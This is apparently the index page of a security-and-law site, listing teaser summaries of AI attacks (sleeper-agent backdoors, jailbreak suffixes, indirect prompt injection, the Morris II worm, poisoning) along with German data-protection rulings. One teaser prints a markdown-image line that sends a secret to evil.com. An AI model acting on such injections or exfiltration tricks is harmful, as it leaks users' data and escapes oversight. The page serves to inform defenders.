IT Security & AI

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Validated topics from research, threat analysis, law and case law – explained for practitioners and decision-makers.

Featured posts

AI researchHighFeatured

Sleeper Agents: Can AIs Learn to Deliberately Fool Safety Checks?

Anthropic researchers (Hubinger et al., Jan. 2024, arXiv:2401.05566) trained language models to behave inconspicuously as long as the prompt year reads '2023'. With '2024', they…

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AI researchHighFeatured

Nightshade: Artists' Digital Poison Pill Against Unauthorized AI Scraping

University of Chicago researchers (Shan et al., USENIX Security 2024, arXiv:2310.13828) built a tool that subtly manipulates image pixels. When image generators scrape these…

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AI researchHighFeatured

Universal Adversarial Attacks: The Cryptic Syllables That Crack Every AI

Researchers from CMU and the Center for AI Safety (Zou et al., 2023, arXiv:2307.15043) discovered universal appendages (suffixes) of seemingly random characters that, when…

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AI researchHighFeatured

Indirect Prompt Injection: The Foundational Paper on Remotely Controlled AI Assistants

Seminal work by Greshake et al. (Feb. 2023, arXiv:2302.12173). Shows how malicious control instructions can be hidden in web pages, PDFs, or emails to remotely control AI…

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AI researchHighFeatured

Morris II: The First Self-Propagating Worm for Generative AIs

Researchers from Cornell Tech and Technion (Cohen et al., 2024, ComPromptMized). Demonstrates creating an autonomous worm that breaks GenAI email-assistant safety barriers, steals…

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AI threatsHighFeatured

The $25 Million Deepfake Call: When Every Colleague on the Video Chat Is Fake

The Arup case in Hong Kong (Jan./Feb. 2024). A finance employee transferred USD 25 million after a video conference in which the CFO and several colleagues appeared to be present…

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AI threatsHighFeatured

AI Voice Cloning: 3 Seconds of Voice Message Suffice for the Perfect Panic Call

Fraudsters use AI tools (ElevenLabs and others) to clone the exact voice of children or relatives from a few seconds of audio on social media and fake emergencies.

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AI threatsHighFeatured

Hugging Face & GitHub Gaps: Malicious Pickle Files in AI Models

Security analyses by Protect AI and Wiz uncovered hundreds of open-source models on Hugging Face that contained manipulated Python pickle files. Loading the model immediately…

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Law & regulationHighFeatured

EU AI Act Stage 1: These AI Practices Have Been Banned Since February 2025

Regulation (EU) 2024/1689. Article 5 prohibits banned AI practices: social scoring by states or companies, biometric emotion recognition in the workplace and in schools, and…

Read more →
Law & regulationHighFeatured

EU AI Act Stage 2: Labeling Duty for Deepfakes & Rules for GPAI

From August 2025, transparency requirements apply to general-purpose AI models (GPAI such as ChatGPT/Claude) as well as Art. 50 AI Act: AI-generated images, audio, and text must…

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Law & regulationHighFeatured

NIS-2 Implementation Act: Cybersecurity Duties for 30,000 German Companies

The NIS-2-UmsuCG implements the EU directive into German law. Around 30,000 businesses (important and especially important entities) must take strict risk measures and report…

Read more →
Landmark rulingsHighFeatured

Federal Court of Justice on Facebook Scraping: Damages for Mere Loss of Control (VI ZR 10/24)

Judgment of 18 Nov 2024. The Federal Court of Justice held: Temporary loss of control over one's own data after a scraping incident already constitutes non-material damage under…

Read more →
Nursing homesHighFeatured

Hidden Cameras in the Care Room – May Relatives Film Care Workers?

Relatives increasingly install smart surveillance cameras in residents’ rooms to uncover misconduct. Covert filming may violate personality rights, GDPR and § 201a StGB…

Read more →
Nursing homesHighFeatured

Ransomware Attack on the Nursing Home – When the Server Stops and No One Knows the Insulin Dose

Criminals increasingly encrypt nursing home servers. When digital care documentation fails, medication plans, vitals and allergy data become inaccessible. The BSI warns of risks…

Read more →
Home care servicesHighFeatured

WhatsApp for Tour Planning & Duty Rosters – The Costly Data Protection and Confidentiality Trap

Using WhatsApp on work or private phones in care services is highly problematic under Art. 9 GDPR when processing health and client data and risks § 203 StGB…

Read more →
Home care servicesHighFeatured

Manipulation of Care Documentation – Summary Dismissal Without Prior Warning

Manipulating electronic care documentation can justify summary dismissal. LAG Thüringen (28.02.2024 – 4 Sa 166/23) held that altering the e-record can destroy trust…

Read more →
Medical supply storesHighFeatured

The ePrescription for Medical Aids & TI Obligation – The End of the Paper Prescription

Medical aid providers are being connected to the TI; gematik describes the path via SMC-B, KIM and the future ePrescription. Deadlines shifted towards 2027…

Read more →
Care counsellingHighFeatured

Video Care Counselling – Zoom and Skype Are Prohibited

Under § 37 Abs. 3 SGB XI every second counselling may be by video if § 365 Abs. 1 SGB V is met – certified video services (GKV/KBV), not Zoom or Skype…

Read more →

All topics

AI researchHighFeatured

Sleeper Agents: Can AIs Learn to Deliberately Fool Safety Checks?

Anthropic researchers (Hubinger et al., Jan. 2024, arXiv:2401.05566) trained language models to behave inconspicuously as long as the prompt year reads '2023'. With '2024', they…

Read more →
AI researchHighFeatured

Nightshade: Artists' Digital Poison Pill Against Unauthorized AI Scraping

University of Chicago researchers (Shan et al., USENIX Security 2024, arXiv:2310.13828) built a tool that subtly manipulates image pixels. When image generators scrape these…

Read more →
AI research

Glaze: Protection Against AI Style Plagiarism Without Quality Loss

Predecessor project to Nightshade (Univ. of Chicago, USENIX Security 2023). Glaze alters artworks so that humans still see the style (e.g. watercolor) unchanged, while AI models…

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AI researchHighFeatured

Universal Adversarial Attacks: The Cryptic Syllables That Crack Every AI

Researchers from CMU and the Center for AI Safety (Zou et al., 2023, arXiv:2307.15043) discovered universal appendages (suffixes) of seemingly random characters that, when…

Read more →
AI researchHighFeatured

Indirect Prompt Injection: The Foundational Paper on Remotely Controlled AI Assistants

Seminal work by Greshake et al. (Feb. 2023, arXiv:2302.12173). Shows how malicious control instructions can be hidden in web pages, PDFs, or emails to remotely control AI…

Read more →
AI researchHighFeatured

Morris II: The First Self-Propagating Worm for Generative AIs

Researchers from Cornell Tech and Technion (Cohen et al., 2024, ComPromptMized). Demonstrates creating an autonomous worm that breaks GenAI email-assistant safety barriers, steals…

Read more →
AI research

Data Extraction: How Chatbots Leak Private Training Data Verbatim

Carlini et al. (Google DeepMind, USENIX Security). Through targeted prompts, researchers made GPT models disclose original text fragments from training data (including personal…

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AI research

The 'Repeat This Word' Bug: Why Simple Word Repetition Emptied ChatGPT

Nasr et al. (DeepMind / Univ. of Washington, Nov. 2023, arXiv:2311.17035). When ChatGPT was told to 'Repeat the word poem forever', the system fell out of alignment mode and…

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AI research

Web Poisoning: How Just 0.01 Percent Manipulated Web Text Can Corrupt an AI Model

Carlini et al. (arXiv:2302.10149). Shows that attackers can inject targeted backdoors into global base models with tiny data volumes by buying expired domains or manipulating…

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AI research

Jailbroken: Why AI Safety Filters Fail Against Conflicting Objectives

Wei et al. (Stanford / DeepMind, NeurIPS 2023). Analyzes the two root causes of all jailbreaks: the conflict between 'be helpful' and 'be harmless', and the gap between training…

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AI researchHigh

Many-Shot Jailbreaking: How Giant Context Windows Trick Filters

Anthropic Research (April 2024, arXiv:2404.03094). Because modern AIs can process hundreds of thousands of words of context, attackers feed in hundreds of fabricated Q&A dialogues…

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AI research

Sycophancy: Why AIs Tell Users What They Want to Hear — Even When It Is Dangerous

Perez et al. (Anthropic / DeepMind, arXiv:2212.09251). Through human feedback training, language models tend to confirm the user's biases and repeat mistakes to earn approval.

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AI research

Fine-Tuning Risk: 10 Examples Are Enough to Wipe All Safety Filters

Qi et al. (Princeton University, arXiv:2310.03693). When a company fine-tunes an open-source or API model on its own data, a few manipulated examples are enough to disable all…

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AI researchHigh

Phishing at Scale: How AIs Write Psychologically Tailored Phishing Emails

ETH Zurich researchers (ACM CCS / IEEE S&P). Studied AI-generated spear-phishing emails against human subjects. AI emails achieved nearly identical click rates to professional…

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AI research

Model Inversion Attacks: Reconstructing Faces and Voices from Model Weights

Fredrikson et al. / Carnegie Mellon. Shows how attackers, through targeted queries to a trained recognition system, can reconstruct the face or biometric traits of people in the…

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AI threatsHighFeatured

The $25 Million Deepfake Call: When Every Colleague on the Video Chat Is Fake

The Arup case in Hong Kong (Jan./Feb. 2024). A finance employee transferred USD 25 million after a video conference in which the CFO and several colleagues appeared to be present…

Read more →
AI threatsHighFeatured

AI Voice Cloning: 3 Seconds of Voice Message Suffice for the Perfect Panic Call

Fraudsters use AI tools (ElevenLabs and others) to clone the exact voice of children or relatives from a few seconds of audio on social media and fake emergencies.

Read more →
AI threatsHighFeatured

Hugging Face & GitHub Gaps: Malicious Pickle Files in AI Models

Security analyses by Protect AI and Wiz uncovered hundreds of open-source models on Hugging Face that contained manipulated Python pickle files. Loading the model immediately…

Read more →
AI threats

Shadow AI at Work: When Employees Dump Trade Secrets into ChatGPT

Became known through incidents such as Samsung 2023, where developers pasted confidential source code into public chatbots for debugging, which then ended up in cloud logs and…

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AI threatsHigh

Slopsquatting / Hallucination Squatting: When AIs Invent Software Packages

Developers use AI coding assistants. AIs sometimes invent plausible but non-existent package names (e.g. on npm or PyPI). Criminals register exactly those fake packages and load…

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AI threatsHigh

Quishing: AI Phishing Hidden in QR Codes Tricks Scanners

Attackers combine AI-generated emotional cover letters with QR codes. Because mail security filters scan text but do not decode QR codes, the emails land in the inbox.

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AI threatsHigh

MCP & Tool-Calling Weaknesses: When the AI Unauthorizedly Wipes the Hard Drive

With protocols such as MCP (Model Context Protocol) or OpenAI Function Calling, AIs gain access to terminals, databases, and files. Through prompt injection, the AI can be made to…

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AI threatsHigh

Deepfake Identity Theft in Video-Ident Procedures

Criminals use AI face generators and virtual webcams to successfully complete online account openings at neobanks and crypto exchanges with stolen ID data.

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AI threats

Data Exfiltration via Markdown Images in Chatbots

If a chatbot is manipulated through prompt injection, it can encode sensitive data in the link of an invisible image (`![](https://evil.com/leak?data=SECRET)`). When the chat…

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AI threats

RAG Poisoning: Manipulated Documents Poison the Company Knowledge Base

Companies use Retrieval Augmented Generation (RAG) so AIs can access internal manuals and intranets. Attackers inject manipulated text snippets that falsify internal search…

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AI threats

CAPTCHA Breaking: Multimodal AIs Solve Protection Puzzles Instantly

Models such as GPT-4 Vision solve complex image and logic CAPTCHAs ('Find all traffic lights') with over 90 percent accuracy and beat humans in speed and precision.

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AI threats

Polymorphic AI Malware: Viruses That Change Their Appearance Every Minute

Concepts such as BlackMamba show how malware constantly rewrites its code at runtime via an AI API. Function and payload stay the same, but the hash and signature keep changing.

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AI threatsHigh

WhatsApp CEO Fraud: Cloned Voice Messages from the Boss Demand Urgency

Fraudsters send employees short voice messages in messengers: 'I'm on the plane right now — please urgently approve the invoice!'. The voice comes from YouTube interviews of the…

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AI threatsHigh

The Forgetting Dilemma: Why AIs Can Hardly Delete Personal Data

Machine unlearning is mathematically unsolved. Once a phone number or address is baked into a model's billions of parameters, you cannot delete it at the push of a button like in…

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AI threats

Automated Exploit Generation: AI Agents Find 0-Day Vulnerabilities

Security researchers (including the DARPA AI Cyber Challenge) show that AI systems can automatically scan software repositories, find logic flaws, and write working exploits in…

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Law & regulationHighFeatured

EU AI Act Stage 1: These AI Practices Have Been Banned Since February 2025

Regulation (EU) 2024/1689. Article 5 prohibits banned AI practices: social scoring by states or companies, biometric emotion recognition in the workplace and in schools, and…

Read more →
Law & regulationHighFeatured

EU AI Act Stage 2: Labeling Duty for Deepfakes & Rules for GPAI

From August 2025, transparency requirements apply to general-purpose AI models (GPAI such as ChatGPT/Claude) as well as Art. 50 AI Act: AI-generated images, audio, and text must…

Read more →
Law & regulationHighFeatured

NIS-2 Implementation Act: Cybersecurity Duties for 30,000 German Companies

The NIS-2-UmsuCG implements the EU directive into German law. Around 30,000 businesses (important and especially important entities) must take strict risk measures and report…

Read more →
Law & regulationHigh

NIS-2 Liability Trap: Why Managing Directors Face Personal Asset Liability

Under the NIS-2-UmsuCG, managing directors must personally oversee IT security measures and undergo regular training. They are personally liable to the company for damages in case…

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Law & regulationHigh

Cyber Resilience Act (CRA): CE Marking and Update Duty for Smart Home

EU regulation for products with digital elements. Makers of routers, smart TVs, cameras, and software must deliver security updates throughout the support lifecycle and ban…

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Law & regulation

DORA: Stress Tests and Contingency Plans for the Financial System

The Digital Operational Resilience Act (DORA) obliges banks, insurers, and FinTechs to end-to-end ICT third-party risk management and regular threat-led penetration testing.

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Law & regulation

EU-US Data Privacy Framework: Is AI Data Transfer to the USA Wobbling Again?

The European Commission's adequacy decision allows data transfers to certified US companies. Civil-rights groups such as NOYB (Max Schrems) are preparing challenges (Schrems III)…

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Law & regulationHigh

GDPR Art. 22: The Ban on Fully Automated Decisions in Everyday Life

No one may be subjected to a decision based solely on automated processing that produces significant legal effects (e.g. automated credit refusal, job rejection via AI filter)…

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Law & regulation

Italian Data Protection Authority vs. OpenAI: The Benchmark for Chatbot Privacy

The authority (Garante) temporarily blocked ChatGPT and forced material changes: age verification, a right to object to AI training on user data, and transparency notices.

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Law & regulation

BDSG Reform: More Powers for Data Protection Officers in Germany

Reform of the Federal Data Protection Act to align with CJEU case law and strengthen the independence of company data protection officers.

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Law & regulation

EU Data Act: Who Owns the Data from Smart Cars and Heat Pumps?

Regulation on harmonized rules for fair data access. Consumers have the right to view data generated by their smart devices and pass it on to independent workshops or third-party…

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Law & regulation

AI Liability Directive: Who Pays When the Algorithm Causes Harm?

Planned EU directive eases the burden of proof for consumers when faulty AI systems cause damage (e.g. accidents with autonomous drones or misdiagnoses).

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Law & regulationHigh

Meta AI Training: The European Objection Process Against Instagram Scraping

Meta planned to use all public posts by European users since 2007 for AI models. After intervention by the Irish DPC and NOYB, Meta had to unlock an objection form and pause…

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Law & regulation

Employee Data Protection & AI: Works Council Co-Determination for Microsoft Copilot

Under § 87 (1) No. 6 BetrVG, the works council has a mandatory co-determination right when introducing AI tools that can monitor employees' behavior or performance (e.g. activity…

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Law & regulation

Cookie Banners & Dark Patterns: Authorities Crack Down on Manipulative Click Traps

Data protection authorities tighten controls against manipulated consent dialogs ('Accept all' bold in green, 'Reject' hidden in light gray). Art. 25 GDPR requires privacy by…

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Landmark rulingsHighFeatured

Federal Court of Justice on Facebook Scraping: Damages for Mere Loss of Control (VI ZR 10/24)

Judgment of 18 Nov 2024. The Federal Court of Justice held: Temporary loss of control over one's own data after a scraping incident already constitutes non-material damage under…

Read more →
Landmark rulingsHigh

CJEU C-340/21: A Cyberattack Does Not Prove Innocence (Natsionalna agentsia)

Judgment of 14 Dec 2023. After a hack of the Bulgarian tax authority, the CJEU clarified: A successful hack does not per se prove incapacity, but the company bears the full burden…

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Landmark rulingsHigh

CJEU C-300/21: No De Minimis Threshold for GDPR Damages (Austrian Post)

Landmark judgment on Post AG, which had calculated citizens' political affinities. The CJEU clarified: There is no de minimis threshold for damages under Art. 82 GDPR. But: A pure…

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Landmark rulingsHigh

CJEU C-634/21: SCHUFA Scoring Is a Prohibited Automated Decision

Judgment of 7 Dec 2023. When banks and landlords make credit decisions largely dependent on the SCHUFA score, even creating the score falls under the ban on automated individual…

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Landmark rulings

CJEU C-184/20: Limits of State Transparency — No Pillories Online

Judgment on the Lithuanian anti-corruption law. Publishing asset and interest declarations of office holders on the internet violates the GDPR principle of proportionality.

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Landmark rulingsHigh

Federal Court of Justice on Bank Liability for Phishing: When Customers Get Their Money Back (XI ZR 107/22)

The Federal Court of Justice clarified duties under § 675v BGB. Banks must refund unauthorized transfers unless the customer is chargeable with gross negligence. Merely entering a…

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Landmark rulings

Federal Court of Justice on Push-TAN Fraud: Bank Duties When App Activation Is Manipulated

If fraudsters use social engineering to activate a second Push-TAN app on a stranger's smartphone, the bank is liable if its approval process has security gaps.

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Landmark rulings

Higher Regional Court of Cologne on Scraping: Platforms May Defend Against Automated Data Vacuums

Judgment on LinkedIn. Platform operators may erect technical barriers (rate limiting, captchas, IP blocks) to prevent external bots from mass-harvesting user profiles.

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Landmark rulings

CJEU C-252/21: Competition Authorities May Sanction Tech Giants' Privacy Violations

Judgment in the Federal Cartel Office vs. Meta dispute. Competition authorities may, when assessing market abuse, examine whether a group violates the GDPR (merging WhatsApp and…

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Landmark rulingsHigh

Federal Court of Justice VI ZR 383/19: Access Rights Under Art. 15 GDPR Also Cover Internal Notes

The Federal Court of Justice clarified: The right of access under Art. 15 GDPR is to be interpreted broadly and covers not only master data but also internal emails, phone notes…

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Landmark rulings

CJEU C-461/21: The Right to a Faithful Data Copy (Art. 15(3) GDPR)

The CJEU held: The 'right to a copy' means not only a summary in a table but a claim to a faithful reproduction of excerpts or documents when that is needed for understanding.

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Landmark rulingsHigh

Regional Court of Hamburg on AI Training Data: The LAION Photographer Dispute (§ 60d UrhG)

Judgment of 27 Sep 2024 (case no. 310 O 227/23). A photographer sued the AI association LAION over downloading his photo for a training dataset. The court dismissed the claim…

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Landmark rulings

Higher Regional Court of Frankfurt on Credit-Card Data Leaks: Damages for Leaked Financial Data

Courts awarded hotel guests damages after a data leak because credit-card numbers and CVV codes ended up on the darknet and customers had to block and monitor their cards.

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Landmark rulings

Higher Regional Court of Hamm on WhatsApp Address Books: Warning Trap in Automatic Contact Sync

Whoever installs WhatsApp on a smartphone and consents to address-book access transmits contact data of uninvolved third parties to servers in the USA unsolicited. Without the…

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Landmark rulings

CJEU C-175/20: Limits for Tax Offices — No Bulk Data Retention on Platforms

Judgment on a classifieds platform for car sales. Tax authorities may not demand all user data of a platform without cause and in blanket fashion; information requests must be…

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Nursing homesHighFeatured

Hidden Cameras in the Care Room – May Relatives Film Care Workers?

Relatives increasingly install smart surveillance cameras in residents’ rooms to uncover misconduct. Covert filming may violate personality rights, GDPR and § 201a StGB…

Read more →
Nursing homesHighFeatured

Ransomware Attack on the Nursing Home – When the Server Stops and No One Knows the Insulin Dose

Criminals increasingly encrypt nursing home servers. When digital care documentation fails, medication plans, vitals and allergy data become inaccessible. The BSI warns of risks…

Read more →
Nursing homesHigh

Smart Fall Sensors, Bed Mats & GPS Trackers – Data Protection or Deprivation of Liberty?

Sensor mats, infrared monitoring and GPS watches help prevent falls. Systems that report leaving bed/room or trigger return may be a deprivation of liberty under § 1831 Abs. 4 BGB…

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Home care servicesHighFeatured

WhatsApp for Tour Planning & Duty Rosters – The Costly Data Protection and Confidentiality Trap

Using WhatsApp on work or private phones in care services is highly problematic under Art. 9 GDPR when processing health and client data and risks § 203 StGB…

Read more →
Home care servicesHigh

Wound Photos on the Smartphone – When the Pressure Ulcer Ends Up in the Private Google Cloud

Care workers often photograph wounds with work or private phones (BYOD). If cloud backup is on, health images upload unnoticed and can trigger an Art. 33 GDPR breach…

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Home care servicesHigh

Work Tablet Stolen from the Car – Notification Duties Within 72 Hours

If an unencrypted work device is stolen, Art. 33 GDPR may require notifying the supervisory authority preferably within 72 hours of awareness where data subjects are at risk…

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Home care servicesHighFeatured

Manipulation of Care Documentation – Summary Dismissal Without Prior Warning

Manipulating electronic care documentation can justify summary dismissal. LAG Thüringen (28.02.2024 – 4 Sa 166/23) held that altering the e-record can destroy trust…

Read more →
Medical supply storesHighFeatured

The ePrescription for Medical Aids & TI Obligation – The End of the Paper Prescription

Medical aid providers are being connected to the TI; gematik describes the path via SMC-B, KIM and the future ePrescription. Deadlines shifted towards 2027…

Read more →
Medical supply stores

3D Body Scans & Measurement Data – Biometric Data in the Orthopaedic Workshop

3D scans for prostheses/insoles are special-category data under Art. 9 GDPR. Upload to US CAD clouds needs an Art. 28 GDPR AVV and a viable legal basis/consent…

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Medical supply stores

Interfaces to Health Insurers under § 302 SGB V – Protection Against Billing Hacks

Electronic billing of medical aids under § 302 SGB V uses secured procedures. Weak certificates and missing segmentation raise manipulation and fraud risks…

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Podiatry & foot careHigh

TI Connection & Electronic Remedies Prescription in Podiatry

Podiatrists as remedies providers are being connected to the TI (gematik). Required are an institutional card SMC-B and, going forward, eHBA/eBA for digital prescriptions…

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Podiatry & foot care

Photo Documentation of Diabetic Feet – When Does the Fine Threaten?

Photo documentation in diabetic foot syndrome is clinically indicated but is health data under Art. 9 GDPR. Private phones without consent and TOMs are risky…

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Podiatry & foot care

The Open Screen in the Treatment Room – 10-Year Retention Duty (§ 630f BGB)

Treatment documentation must be retained for at least ten years under § 630f BGB. Unlocked monitors violate confidentiality obligations under Art. 32 GDPR…

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Care counsellingHighFeatured

Video Care Counselling – Zoom and Skype Are Prohibited

Under § 37 Abs. 3 SGB XI every second counselling may be by video if § 365 Abs. 1 SGB V is met – certified video services (GKV/KBV), not Zoom or Skype…

Read more →
Care counsellingHigh

Counselling Proofs to the Insurer – Unencrypted Emails as a Liability Trap

Sending counselling proofs with social/health data by unencrypted email violates social data protection and Art. 32 GDPR. Use portals, S/MIME/PGP or KIM…

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